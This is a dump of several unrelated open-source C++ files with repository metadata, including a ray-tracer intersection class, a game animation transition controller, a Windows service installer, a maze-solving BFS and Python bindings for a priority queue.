convert_proof_to_gadget(tree.get_proof(raw_to_address)); tree.update(raw_from_address, raw_to_address, raw_amount); gadget amount(raw_amount, 32, true); std::vector<gadget> from_proof_after = convert_proof_to_gadget(tree.get_proof(raw_from_address)); std::vector<gadget> to_proof_after = convert_proof_to_gadget(tree.get_proof(raw_to_address)); gadget merkle_root_after = gadget(std::string("d") + tree.get_root().to_string(), true); gadget flag = check_transaction(from_address, to_address, from_balance, to_balance, amount, merkle_root_before, merkle_root_after, from_proof_before, to_proof_before, from_proof_after, to_proof_after); check(flag); } void test_all() { //check_addition(); //check_concat_extract(); //check_concat_extract2(); //check_shr(); //check_rotate(); //check_ITE(); //check_leq(); //check_addition_xor(); //check_and(); //check_not(); //check_sha256(); //check_sha256v2(); //check_common_prefix_mask(); //test_MimC(); //check_merkle_proof(); check_transaction(); } int main(int argc, char* argv[]) { test_all(); getchar(); }
7cce23f9b129abeaa294b775db341c95343b70d2
2ab02459c6147bf96513dacd90cbf7a38827ded3
/intersection.cpp
479225629aac1fc5021f63dc38fe0944e082173f
[]
no_license
Pcornat/PersonnalRayTracer
ae89fc60ac034e08af30b474a4e6ea8d29da0732
e1608d629e2b9fcef5a15876471f0ea898bd6fea
refs/heads/master
2021-07-17T02:40:51.890595
2020-05-21T12:26:16
2020-05-21T12:26:16
151,968,194
0
0
null
null
null
null
UTF-8
C++
false
false
599
cpp
intersection.cpp
#include "intersection.h" #include "Objects/objet.h" Intersection::Intersection(float dist, const glm::vec3 &normal, const Objet *obj) : dist(dist), normal(normal), obj(obj) {} Intersection::Intersection(float dist, const Objet *obj) : dist(dist), obj(obj) {} Intersection::Intersection(const Objet *obj) : obj(obj) {} const glm::vec3 &Intersection::getNormal() const { return normal; } void Intersection::setNormal(const glm::vec3 &normal) { Intersection::normal = normal; } float Intersection::getDist() const { return dist; } const Objet *Intersection::getObj() const { return obj; }
78e7b61bfec9c6b41a1d484d4a8d68a9c4d03a01
3ded37602d6d303e61bff401b2682f5c2b52928c
/toy/0203/Classes/Layer/CBGameLoadingLayer.cpp
c042ad84cc2fdec893019870623d8f7feb9b2923
[]
no_license
CristinaBaby/Demo_CC
8ce532dcf016f21b442d8b05173a7d20c03d337e
6f6a7ff132e93271b8952b8da6884c3634f5cb59
refs/heads/master
2021-05-02T14:58:52.900119
2018-02-09T11:48:02
2018-02-09T11:48:02
120,727,659
0
0
null
null
null
null
UTF-8
C++
false
false
1,147
cpp
CBGameLoadingLayer.cpp
// // CBGameLoadingLayer.cpp // ColorBook // // Created by maxiang on 5/15/15. // // #include "CBGameLoadingLayer.h" USING_NS_CC; CB_BEGIN_NAMESPACE bool GameLoadingLayer::init() { if (!LayerColor::initWithColor(Color4B(0, 0, 0, 200))) { return false; } bool rcode = false; do { //touch event listen auto touchEventListener = EventListenerTouchOneByOne::create(); touchEventListener->setSwallowTouches(true); touchEventListener->onTouchBegan = [](Touch* touch, Event* event) { return true; }; touchEventListener->onTouchMoved = [](Touch* touch, Event* event) { }; touchEventListener->onTouchEnded = [](Touch* touch, Event* event) { }; touchEventListener->onTouchCancelled = [](Touch* touch, Event* event) { }; Director::getInstance()->getEventDispatcher()->addEventListenerWithSceneGraphPriority(touchEventListener, this); rcode = true; } while (0); return rcode; } CB_END_NAMESPACE
2bfa5c9d87106faca4081f7fda812e77d7ce8036
4a2d73bed0a24fc4e9e5632b335bb82899cc5c9f
/include/ANDFunc.h
07df6b2e088588d07fb4eb4f6ab4e4fabc7ac90c
[]
no_license
cloidnerux/LogikSimulator
1eb9e6549fc7d201fbb7ef2cb849acb20d832a18
cfa4e4fa8b912276513ec367779489de3b1ff823
refs/heads/master
2021-01-10T19:09:04.397976
2014-12-04T14:14:00
2014-12-04T14:14:00
null
0
0
null
null
null
null
UTF-8
C++
false
false
390
h
ANDFunc.h
#pragma once #include "tFunc.h" #include "node.h" #include <memory> class ANDFunc : public tFunc { public: ANDFunc():tFunc(){}; ANDFunc(const ANDFunc &a):tFunc(a){}; ANDFunc(const ANDFunc *a):tFunc(a){}; ANDFunc(std::shared_ptr<Node> a, std::shared_ptr<Node> b, std::shared_ptr<Node> out, int delay); ~ANDFunc(); void Update(int cycleTime); char * GetType(); char * GetState(); };
d67c9a90a1230ea5e54d41347201531262b008bb
2f78e134c5b55c816fa8ee939f54bde4918696a5
/code/game/simpletransition.cpp
f238b261bbfe7795e41194a005c110e12dfe91d8
[]
no_license
narayanr7/HeavenlySword
b53afa6a7a6c344e9a139279fbbd74bfbe70350c
a255b26020933e2336f024558fefcdddb48038b2
refs/heads/master
2022-08-23T01:32:46.029376
2020-05-26T04:45:56
2020-05-26T04:45:56
null
0
0
null
null
null
null
UTF-8
C++
false
false
7,865
cpp
simpletransition.cpp
//------------------------------------------------------------------------------------------ //! //! \file simpletransition.cpp //! //------------------------------------------------------------------------------------------ // Necessary includes #include "simpletransition.h" #include "game/entity.h" #include "game/entity.inl" #include "movement.h" #include "anim/animator.h" #include "core/exportstruct_anim.h" #include "objectdatabase/dataobject.h" START_STD_INTERFACE (SimpleTransitionDef) IBOOL (SimpleTransitionDef, ApplyGravity) ISTRING (SimpleTransitionDef, AnimationName) #ifndef _RELEASE DECLARE_POSTCONSTRUCT_CALLBACK( PostConstruct ) #endif END_STD_INTERFACE //------------------------------------------------------------------------------------------ //! //! SimpleTransitionDef::SimpleTransitionDef //! Construction //! //------------------------------------------------------------------------------------------ SimpleTimedTransitionDef::SimpleTimedTransitionDef( void ) : m_bApplyGravity( true ), m_bLooping( false ), m_obAnimationName(), m_fTime( 1.0f ), m_fExtraMovementSpeed( 0.0f ) { } //------------------------------------------------------------------------------------------ //! //! SimpleTransitionDef::CreateInstance //! To create an instance of what we describe //! //------------------------------------------------------------------------------------------ MovementController* SimpleTimedTransitionDef::CreateInstance( CMovement* pobMovement ) const { return NT_NEW_CHUNK(Mem::MC_ENTITY) SimpleTimedTransition( pobMovement, *this ); } //------------------------------------------------------------------------------------------ //! //! SimpleTransition::SimpleTransition //! Construction //! //------------------------------------------------------------------------------------------ SimpleTimedTransition::SimpleTimedTransition( CMovement* pobMovement, const SimpleTimedTransitionDef& obDefinition ) : MovementController( pobMovement ), m_obDefinition( obDefinition ), m_obSingleAnimation() { m_fTimeInTransition = 0.0f; // Register our definition for debugging purposes InternalRegisterDefinition( m_obDefinition ); int iFlags = ANIMF_LOCOMOTING | ANIMF_INHIBIT_AUTO_DESTRUCT; if ( m_obDefinition.m_bLooping == true ) iFlags |= ANIMF_LOOPING; // Create our animation and add it to the animator m_obSingleAnimation = m_pobAnimator->CreateAnimation( m_obDefinition.m_obAnimationName ); m_obSingleAnimation->SetBlendWeight( 0.0f ); m_obSingleAnimation->SetFlags( iFlags ); } //------------------------------------------------------------------------------------------ //! //! SimpleTransition::~SimpleTransition //! Destruction //! //------------------------------------------------------------------------------------------ SimpleTimedTransition::~SimpleTimedTransition( void ) { // Remove the animation from the animator if it has been added if ( !m_bFirstFrame && m_obSingleAnimation->IsActive() ) m_pobAnimator->RemoveAnimation( m_obSingleAnimation ); } //------------------------------------------------------------------------------------------ //! //! SimpleTransition::Update //! Simply move our way through the single animation //! //------------------------------------------------------------------------------------------ bool SimpleTimedTransition::Update( float fTimeStep, const CMovementInput& /* obMovementInput */, const CMovementStateRef& obCurrentMovementState, CMovementState& obPredictedMovementState ) { // If we are on the first frame - add the animation to the animator if ( m_bFirstFrame ) { m_fTimeInTransition = 0.0f; m_pobAnimator->AddAnimation( m_obSingleAnimation ); m_bFirstFrame = false; } m_fTimeInTransition += fTimeStep; // Set the weight on our animation and update it m_obSingleAnimation->SetBlendWeight( m_fBlendWeight ); // Apply gravity if required ApplyGravity(m_obDefinition.m_bApplyGravity); obPredictedMovementState.m_obProceduralRootDelta = obCurrentMovementState.m_obFacing * m_obDefinition.m_fExtraMovementSpeed * fTimeStep; // When we are finished indicate that to the movement component if ( m_fTimeInTransition > m_obDefinition.m_fTime ) { return true; } return false; } //------------------------------------------------------------------------------------------ //! //! SimpleTransitionDef::SimpleTransitionDef //! Construction //! //------------------------------------------------------------------------------------------ SimpleTransitionDef::SimpleTransitionDef( void ) : m_bApplyGravity( true ), m_bLooping( false ), m_obAnimationName(), m_fSpeed(1.f), m_fTimeOffsetPercentage(0.0f) { } //------------------------------------------------------------------------------------------ //! //! SimpleTransitionDef::CreateInstance //! To create an instance of what we describe //! //------------------------------------------------------------------------------------------ MovementController* SimpleTransitionDef::CreateInstance( CMovement* pobMovement ) const { return NT_NEW_CHUNK(Mem::MC_ENTITY) SimpleTransition( pobMovement, *this ); } //------------------------------------------------------------------------------------------ //! //! SimpleTransition::SimpleTransition //! Construction //! //------------------------------------------------------------------------------------------ SimpleTransition::SimpleTransition( CMovement* pobMovement, const SimpleTransitionDef& obDefinition ) : MovementController( pobMovement ), m_obDefinition( obDefinition ), m_obSingleAnimation() { // Register our definition for debugging purposes InternalRegisterDefinition( m_obDefinition ); int iFlags = ANIMF_LOCOMOTING | ANIMF_INHIBIT_AUTO_DESTRUCT; if ( m_obDefinition.m_bLooping == true ) iFlags |= ANIMF_LOOPING; // Create our animation and add it to the animator m_obSingleAnimation = m_pobAnimator->CreateAnimation( m_obDefinition.m_obAnimationName ); m_obSingleAnimation->SetBlendWeight( 0.0f ); m_obSingleAnimation->SetFlags( iFlags ); } //------------------------------------------------------------------------------------------ //! //! SimpleTransition::~SimpleTransition //! Destruction //! //------------------------------------------------------------------------------------------ SimpleTransition::~SimpleTransition( void ) { // Remove the animation from the animator if it has been added if ( !m_bFirstFrame && m_obSingleAnimation->IsActive() ) m_pobAnimator->RemoveAnimation( m_obSingleAnimation ); } //------------------------------------------------------------------------------------------ //! //! SimpleTransition::Update //! Simply move our way through the single animation //! //------------------------------------------------------------------------------------------ bool SimpleTransition::Update( float fTimeStep, const CMovementInput& /* obMovementInput */, const CMovementStateRef& /*obCurrentMovementState*/, CMovementState& /*obPredictedMovementState*/ ) { // If we are on the first frame - add the animation to the animator if ( m_bFirstFrame ) { m_pobAnimator->AddAnimation( m_obSingleAnimation ); m_obSingleAnimation->SetSpeed( m_obDefinition.m_fSpeed ); m_obSingleAnimation->SetPercentage( m_obDefinition.m_fTimeOffsetPercentage ); m_bFirstFrame = false; } // Set the weight on our animation and update it m_obSingleAnimation->SetBlendWeight( m_fBlendWeight ); // Apply gravity if required ApplyGravity(m_obDefinition.m_bApplyGravity); // When we are finished indicate that to the movement component if ( m_obDefinition.m_bLooping == false ) { if ( m_obSingleAnimation->GetTime() > ( m_obSingleAnimation->GetDuration() - fTimeStep ) ) return true; } // This return mechanism needs to be used to move to the next controller in future return false; }
ea6e88e5e1a4515afd0e7d050a2e61695c346823
e7835fd7ea78cb6edf590c60a0b24fc5b343e00b
/pnpbridge/src/pnpbridge/samples/service/windows/pnpbridgesvc_installer.cpp
e221a25941cc43ae4941a516d85d0b0d95155fdb
[ "MIT" ]
permissive
matsujirushi/AzurePnPBridgePreview
e1cc9d9b74160bdac4c66168757e7e380f25bc0d
cef6def7f14965fba65948a9eeae97a029d49f1b
refs/heads/master
2020-09-24T11:26:55.740814
2019-10-02T21:30:25
2019-10-02T21:30:25
225,749,953
0
0
NOASSERTION
2019-12-04T01:14:43
2019-12-04T01:14:42
null
UTF-8
C++
false
false
8,009
cpp
pnpbridgesvc_installer.cpp
// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #pragma region Includes #include <stdio.h> #include <windows.h> #include "servicebase.h" #include "pnpbridgesvc.h" #pragma endregion // // Settings of the service // // Internal name of the service #define SERVICE_NAME L"PnpBridgeSvc" // Displayed name of the service #define SERVICE_DISPLAY_NAME L"PnpBridge Service" // Service start options. #define SERVICE_START_TYPE SERVICE_AUTO_START // List of service dependencies - "dep1\0dep2\0\0" #define SERVICE_DEPENDENCIES L"" // The name of the account under which the service should run #define SERVICE_ACCOUNT L"NT AUTHORITY\\LocalService" // The password to the service account name #define SERVICE_PASSWORD NULL // // FUNCTION: InstallService // // PURPOSE: Install the current application as a service to the local // service control manager database. // // PARAMETERS: // * pszServiceName - the name of the service to be installed // * pszDisplayName - the display name of the service // * dwStartType - the service start option. This parameter can be one of // the following values: SERVICE_AUTO_START, SERVICE_BOOT_START, // SERVICE_DEMAND_START, SERVICE_DISABLED, SERVICE_SYSTEM_START. // * pszDependencies - a pointer to a double null-terminated array of null- // separated names of services or load ordering groups that the system // must start before this service. // * pszAccount - the name of the account under which the service runs. // * pszPassword - the password to the account name. // // NOTE: If the function fails to install the service, it prints the error // in the standard output stream for users to diagnose the problem. // void InstallService(PWSTR pszServiceName, PWSTR pszDisplayName, DWORD dwStartType, PWSTR pszDependencies, PWSTR pszAccount, PWSTR pszPassword) { wchar_t szPath[MAX_PATH]; SC_HANDLE schSCManager = NULL; SC_HANDLE schService = NULL; if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath)) == 0) { wprintf(L"GetModuleFileName failed w/err 0x%08lx\n", GetLastError()); goto Cleanup; } // Open the local default service control manager database schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE); if (schSCManager == NULL) { wprintf(L"OpenSCManager failed w/err 0x%08lx\n", GetLastError()); goto Cleanup; } // Install the service into SCM by calling CreateService schService = CreateService( schSCManager, // SCManager database pszServiceName, // Name of service pszDisplayName, // Name to display SERVICE_QUERY_STATUS, // Desired access SERVICE_WIN32_OWN_PROCESS, // Service type dwStartType, // Service start type SERVICE_ERROR_NORMAL, // Error control type szPath, // Service's binary NULL, // No load ordering group NULL, // No tag identifier pszDependencies, // Dependencies pszAccount, // Service running account pszPassword // Password of the account ); if (schService == NULL) { wprintf(L"CreateService failed w/err 0x%08lx\n", GetLastError()); goto Cleanup; } wprintf(L"%s is installed.\n", pszServiceName); Cleanup: // Centralized cleanup for all allocated resources. if (schSCManager) { CloseServiceHandle(schSCManager); schSCManager = NULL; } if (schService) { CloseServiceHandle(schService); schService = NULL; } } // // FUNCTION: UninstallService // // PURPOSE: Stop and remove the service from the local service control // manager database. // // PARAMETERS: // * pszServiceName - the name of the service to be removed. // // NOTE: If the function fails to uninstall the service, it prints the // error in the standard output stream for users to diagnose the problem. // void UninstallService(PWSTR pszServiceName) { SC_HANDLE schSCManager = NULL; SC_HANDLE schService = NULL; SERVICE_STATUS ssSvcStatus = {}; // Open the local default service control manager database schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT); if (schSCManager == NULL) { wprintf(L"OpenSCManager failed w/err 0x%08lx\n", GetLastError()); goto Cleanup; } // Open the service with delete, stop, and query status permissions schService = OpenService(schSCManager, pszServiceName, SERVICE_STOP | SERVICE_QUERY_STATUS | DELETE); if (schService == NULL) { wprintf(L"OpenService failed w/err 0x%08lx\n", GetLastError()); goto Cleanup; } // Try to stop the service if (ControlService(schService, SERVICE_CONTROL_STOP, &ssSvcStatus)) { wprintf(L"Stopping %s.", pszServiceName); Sleep(1000); while (QueryServiceStatus(schService, &ssSvcStatus)) { if (ssSvcStatus.dwCurrentState == SERVICE_STOP_PENDING) { wprintf(L"."); Sleep(1000); } else break; } if (ssSvcStatus.dwCurrentState == SERVICE_STOPPED) { wprintf(L"\n%s is stopped.\n", pszServiceName); } else { wprintf(L"\n%s failed to stop.\n", pszServiceName); } } // Now remove the service by calling DeleteService. if (!DeleteService(schService)) { wprintf(L"DeleteService failed w/err 0x%08lx\n", GetLastError()); goto Cleanup; } wprintf(L"%s is removed.\n", pszServiceName); Cleanup: // Centralized cleanup for all allocated resources. if (schSCManager) { CloseServiceHandle(schSCManager); schSCManager = NULL; } if (schService) { CloseServiceHandle(schService); schService = NULL; } } // // FUNCTION: wmain(int, wchar_t *[]) // // PURPOSE: entrypoint for the application. // // PARAMETERS: // argc - number of command line arguments // argv - array of command line arguments // // RETURN VALUE: // none // // COMMENTS: // wmain() either performs the command line task, or run the service. // int wmain(int argc, wchar_t *argv[]) { if ((argc > 1) && ((*argv[1] == L'-' || (*argv[1] == L'/')))) { if (_wcsicmp(L"install", argv[1] + 1) == 0) { // Install the service when the command is // "-install" or "/install". InstallService( SERVICE_NAME, // Name of service SERVICE_DISPLAY_NAME, // Name to display SERVICE_START_TYPE, // Service start type SERVICE_DEPENDENCIES, // Dependencies SERVICE_ACCOUNT, // Service running account SERVICE_PASSWORD // Password of the account ); } else if (_wcsicmp(L"remove", argv[1] + 1) == 0) { // Uninstall the service when the command is // "-remove" or "/remove". UninstallService(SERVICE_NAME); } } else { wprintf(L"Parameters:\n"); wprintf(L" -install to install the service.\n"); wprintf(L" -remove to remove the service.\n"); PnpBridgeSvc service(SERVICE_NAME); if (!ServiceBase::Run(service)) { wprintf(L"Service failed to run w/err 0x%08lx\n", GetLastError()); } } return 0; }
113f059a18e397dbe16880bdde01946189e8bc65
2e45720a8747bbcd06213a3dfc2b3a5c668052d6
/org.glite.wms.common/src/utilities/LineParserExceptions.cpp
685cf4701bb1bb1ed316454abedefa501b9bdc92
[ "Apache-2.0" ]
permissive
italiangrid/org.glite.wms
df0616a06b034b875b3c93e16995fc022a206685
0fc86edb5b0395c5400023a4cfb29b5273eba729
refs/heads/master
2021-01-10T20:25:56.444145
2015-01-23T15:09:44
2015-01-23T15:09:44
5,776,443
2
0
null
null
null
null
UTF-8
C++
false
false
3,121
cpp
LineParserExceptions.cpp
/* Copyright (c) Members of the EGEE Collaboration. 2004. See http://www.eu-egee.org/partners for details on the copyright holders. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include <iostream> #include <string> #include "glite/wms/common/utilities/LineParser.h" #include "LineParserExceptions.h" using namespace std; namespace glite { namespace wms { namespace common { namespace utilities { const char *LineParsingError::lpe_s_what = "Line parsing error"; LineParsingError::LineParsingError( const ParserData &d, int code ) : exception(), lpe_retcode( code ), lpe_data( d ) {} LineParsingError::LineParsingError( const LineParsingError &lpe ) : exception(), lpe_retcode( lpe.lpe_retcode ), lpe_data( lpe.lpe_data ) {} LineParsingError::~LineParsingError( void ) throw() {} const char *LineParsingError::what( void ) const throw() { return lpe_s_what; } ShowHelp::ShowHelp( const ParserData &pd ) : LineParsingError( pd, 0 ) {} ShowHelp::ShowHelp( const ShowHelp &sh ) : LineParsingError( sh ) {} ShowHelp::~ShowHelp( void ) throw() {} void ShowHelp::usage( ostream &os ) const { this->lpe_data.usage( os ); } InvalidOption::InvalidOption( const ParserData &pd, int opt ) : LineParsingError( pd, -1 ), io_opt( opt ) {} InvalidOption::InvalidOption( const InvalidOption &io ) : LineParsingError( io ), io_opt( io.io_opt ) {} InvalidOption::~InvalidOption( void ) throw() {} void InvalidOption::usage( ostream &os ) const { os << this->lpe_data.program() << ": invalid option '" << (char) this->io_opt << "'\n"; this->lpe_data.usage( os ); } InvalidArgNumber::InvalidArgNumber( const ParserData &pd, int argn ) : LineParsingError( pd, -1 ), ian_argn( argn ) {} InvalidArgNumber::InvalidArgNumber( const InvalidArgNumber &ian ) : LineParsingError( ian ), ian_argn( ian.ian_argn ) {} InvalidArgNumber::~InvalidArgNumber( void ) throw() {} void InvalidArgNumber::usage( ostream &os ) const { os << this->lpe_data.program() << ": invalid number of arguments, " << this->ian_argn << "\n" << this->lpe_data.program() << ' '; if( this->lpe_data.arguments() == ParserData::zero_args ) os << "does not accept parameters."; else if( this->lpe_data.arguments() == ParserData::one_or_more ) os << "needs at least one argument."; else if( this->lpe_data.arguments() == ParserData::zero_or_more ) os << "needs something ???"; // This should never happen else os << "needs exactly " << this->lpe_data.arguments() << " arguments."; os << endl; this->lpe_data.usage( os ); return; } } // utilities namespace } // common namespace } // wms namespace } // glite namespace
bc5dc1ab9f7c468d6888688696a555f230c8926a
a076e4e91de545d97df4736dcf019259c6bfd963
/src/main.cpp
baa37c83756ee4a3e16963c3685df73cdfd115cc
[]
no_license
kecajjo/PO-dron
a4bc32f1b4a1cb08f7b594fd8fed8540ed1d563c
267a7b94d3059ccfcc664e32cdad95f298e48c7e
refs/heads/master
2022-03-14T18:03:58.182415
2019-12-15T03:26:50
2019-12-15T03:26:50
228,122,634
1
0
null
null
null
null
UTF-8
C++
false
false
1,177
cpp
main.cpp
#include <iostream> #include <iomanip> #include <fstream> #include "Wektor3D.hh" #include "Macierz3x3.hh" #include "Prostopadloscian.hh" #include "lacze_do_gnuplota.hh" #include "menu.hh" #include "bryla.hh" int main(){ singleton *fabryka=singleton::stworz_fabryke(); menu(*fabryka); std::cout << "ilosc aktualnych obiektow typu Wektor3D:" << Wektor3D::get_aktualnych() << std::endl << "ilosc utworzonych obiektow typu Wektor3D:" << Wektor3D::get_utworzonych() << std::endl; std::cout << "ilosc aktualnych obiektow typu obiekt_geometryczny:" << obiekt_sceny::get_aktualnych_obiektow() << std::endl << "ilosc utworzonych obiektow typu obiekt_geometryczny:" << obiekt_sceny::get_utworzonych_obiektow() << std::endl; //dr.usun_drona(); //std::cout << "dron usuniety!" << std::endl; fabryka->set_scena().set_lista_dronow().clear(); fabryka->set_scena().set_lista_obiektow().clear(); std::cout << "ilosc aktualnych obiektow typu Wektor3D:" << Wektor3D::get_aktualnych() << std::endl << "ilosc aktualnych obiektow typu obiekt_geometryczny:" << obiekt_sceny::get_aktualnych_obiektow() << std::endl; return 0; }
d4adc7bc8619be1a364cde33ccd48d3a397f08b8
f986e6aad322515718989ee337a8c1b5c7778466
/Baekjoon/2178_미로탐색.cpp
bfa2d90040689c9d466ea88ad7c16d2f1d6d61b5
[]
no_license
wh2per/Baekjoon-Algorithm
bf611ae9c87dfc1af3f66b79f0c2d21db75c0df1
04f721f59b497f81452216ff0becbc3a620bbd0c
refs/heads/master
2021-11-24T09:23:31.327854
2021-11-11T05:56:54
2021-11-11T05:56:54
165,788,406
0
0
null
null
null
null
UTF-8
C++
false
false
1,030
cpp
2178_미로탐색.cpp
#include <iostream> #include <queue> #include <vector> #include <algorithm> #include <climits> using namespace std; char arr[101][101]; bool check[101][101]; queue<pair<pair<int, int>, int>> q; int dx[] = { 1,0,-1,0 }; int dy[] = { 0,1,0,-1 }; int n, m; int ans; int main() { // your code goes here ios_base::sync_with_stdio(false); cin.tie(NULL); cout.tie(NULL); ans = INT_MAX; cin >> n >> m; for (int i = 0; i < n; ++i) { for (int j = 0; j < m; ++j) cin >> arr[i][j]; } q.push({ {0,0},1 }); check[0][0] = true; while (!q.empty()) { int cy = q.front().first.first; int cx = q.front().first.second; int cnt = q.front().second; q.pop(); if (cy == n - 1 && cx == m - 1) { if (ans > cnt) ans = cnt; continue; } for (int k = 0; k < 4; ++k) { int ny = cy + dy[k]; int nx = cx + dx[k]; if (ny < 0 || ny >= n || nx < 0 || nx >= m || check[ny][nx] || arr[ny][nx] == '0') continue; check[ny][nx] = true; q.push({ {ny,nx},cnt + 1 }); } } cout << ans; return 0; }
b819bb17566121c0ae4b42f14b467b1ceb291f6d
f564b7d8b6789a04353b364b343171e30819545f
/include/YourPrimaryGeneratorAction.hh
22958f46e66c7bd815b90834ecb1e16bf9dd2952
[]
no_license
P-GLEZ/trabajo-FPFE
d538fad310c11421365cad6faf633f7f65d80580
1750a8c42a5ccd58af037d30e0114650d23d9d6a
refs/heads/main
2023-04-27T03:22:29.192598
2021-05-12T16:40:12
2021-05-12T16:40:12
366,481,373
0
0
null
null
null
null
UTF-8
C++
false
false
1,295
hh
YourPrimaryGeneratorAction.hh
#ifndef YOURPRIMARYGENERATORACTION_HH #define YOURPRIMARYGENERATORACTION_HH #include "G4VUserPrimaryGeneratorAction.hh" #include "G4Types.hh" #include "G4String.hh" class YourDetectorConstruction; class G4ParticleGun; class YourPrimaryGeneratorAction : public G4VUserPrimaryGeneratorAction { public: YourPrimaryGeneratorAction(YourDetectorConstruction* det); ~YourPrimaryGeneratorAction(); // // Additional custom methods: // Public method to obtain the G4ParticleGun object pointer and some other // primary particle realted values G4ParticleGun* GetParticleGun() { return fParticleGun; } // Public method to get the primary particle name. const G4String& GetParticleName() const; // Public method to get the primary particle kinetic energy. G4double GetParticleEnergy() const; // Public method to set the default primary particle kinematics void SetDefaultKinematic(); // Public method to set the position of the particle gun: will be taken for // the actual detector construction void UpdatePosition(); virtual void GeneratePrimaries(G4Event* anEvent); private: YourDetectorConstruction* fYourDetector; G4ParticleGun* fParticleGun; }; #endif
6e3a9344ad222e3084d275d980b9efd163d2e077
4bafc92c90db6794ab8fa9b7cbc86be2771b0058
/vigranumpy/src/core/utilities.cxx
f8af573830947bd3d7105b133800c9528a09da6b
[ "MIT" ]
permissive
ukoethe/vigra
242e3f3dbaec2e3fd42a90dbb1f5c6e2fbe404a3
501c99c1fa29a958d123925d647f5cb240e27758
refs/heads/master
2023-07-13T23:30:43.198880
2023-07-04T11:26:03
2023-07-04T11:26:03
2,005,439
359
181
NOASSERTION
2023-07-04T11:26:04
2011-07-06T08:34:57
C++
UTF-8
C++
false
false
4,190
cxx
utilities.cxx
/************************************************************************/ /* */ /* Copyright 2011 by Ullrich Koethe */ /* */ /* This file is part of the VIGRA computer vision library. */ /* The VIGRA Website is */ /* http://hci.iwr.uni-heidelberg.de/vigra/ */ /* Please direct questions, bug reports, and contributions to */ /* ullrich.koethe@iwr.uni-heidelberg.de or */ /* vigra@informatik.uni-hamburg.de */ /* */ /* Permission is hereby granted, free of charge, to any person */ /* obtaining a copy of this software and associated documentation */ /* files (the "Software"), to deal in the Software without */ /* restriction, including without limitation the rights to use, */ /* copy, modify, merge, publish, distribute, sublicense, and/or */ /* sell copies of the Software, and to permit persons to whom the */ /* Software is furnished to do so, subject to the following */ /* conditions: */ /* */ /* The above copyright notice and this permission notice shall be */ /* included in all copies or substantial portions of the */ /* Software. */ /* */ /* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND */ /* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES */ /* OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND */ /* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT */ /* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, */ /* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING */ /* FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR */ /* OTHER DEALINGS IN THE SOFTWARE. */ /* */ /************************************************************************/ #define PY_ARRAY_UNIQUE_SYMBOL vigranumpyutilities_PyArray_API //#define NO_IMPORT_ARRAY #include <vigra/numpy_array.hxx> #include <vigra/numpy_array_converters.hxx> #include <vigra/priority_queue.hxx> // Amazingly, the include order matters to Mac OS clang. // This line must come after the includes above. #include <string> namespace python = boost::python; namespace vigra{ template<class PQ> void pyPush( PQ & pq, const NumpyArray<1,UInt32> indices, const NumpyArray<1,float> priorities ){ for(std::ptrdiff_t i=0;i<indices.shape(0);++i){ pq.push(indices(i),priorities(i)); } } template<class T,class COMP> void defineChangeablePriorityQueue(const std::string & clsName){ typedef ChangeablePriorityQueue<T,COMP> PQ; python::class_<PQ>(clsName.c_str(),python::init<const size_t>()) .def("push", registerConverters(&pyPush<PQ>)) .def("push", &PQ::push) .def("pop", &PQ::pop) .def("top", &PQ::top) .def("topPriority", &PQ::topPriority) .def("deleteItem", &PQ::deleteItem) .def("__len__", &PQ::size) .def("contains", &PQ::contains) .def("__empty__", &PQ::empty) ; } } // namespace vigra using namespace vigra; using namespace boost::python; BOOST_PYTHON_MODULE_INIT(utilities) { import_vigranumpy(); // all exporters needed for graph exporters (like lemon::INVALID) defineChangeablePriorityQueue<float,std::less<float> >("ChangeablePriorityQueueFloat32Min"); }
b5a0e37ed3c407a9c18a86008e52b4248d56c063
01398729b284cdc97fc01403d67c05292a7d5bc4
/testProject/Rigidbody.h
c77d5f43cbc975c60108db5a2f94ebf1dcf7ebd6
[]
no_license
Kingikk10/Mathlib-and-engine
721a6d909cb337a30cc23ad27c15885e9b657d5c
14dacf0fcffc3b6c7d547c1f1daf3298e3a0d9dc
refs/heads/master
2016-08-12T19:13:58.659806
2016-03-30T23:17:41
2016-03-30T23:17:41
54,904,558
0
0
null
null
null
null
UTF-8
C++
false
false
338
h
Rigidbody.h
#pragma once #include "Vec2.h" #include "GCData.h" #include "transform.h" class Rigidbody : public GCData<Rigidbody> { public: Vec2 vel, acc, force, jerk; float mass, drag; float angVel, angAcc, tq; float andDrag; Rigidbody(); void addForce(const Vec2 &); void addTq(float a); void integrate(Transform *, float dt); };
f552b86eb1a36327840813c2dbeeff33f1c31c7a
31e94c27019298386cc739f8b0788560ca3b7a25
/RL/StringA.h
4ded726fc3e2ea070f2f28e4c84429aabdffd95a
[]
no_license
firwind/Ammyy-v3
f7d5df9d0d4ea01fa4be6b96242fbedaef5e6e91
8bf063085550f522f4197d8a530801292a482179
refs/heads/master
2020-04-22T20:26:35.679847
2017-01-10T02:18:22
2017-01-10T02:18:22
170,641,720
5
3
null
null
null
null
UTF-8
C++
false
false
9,329
h
StringA.h
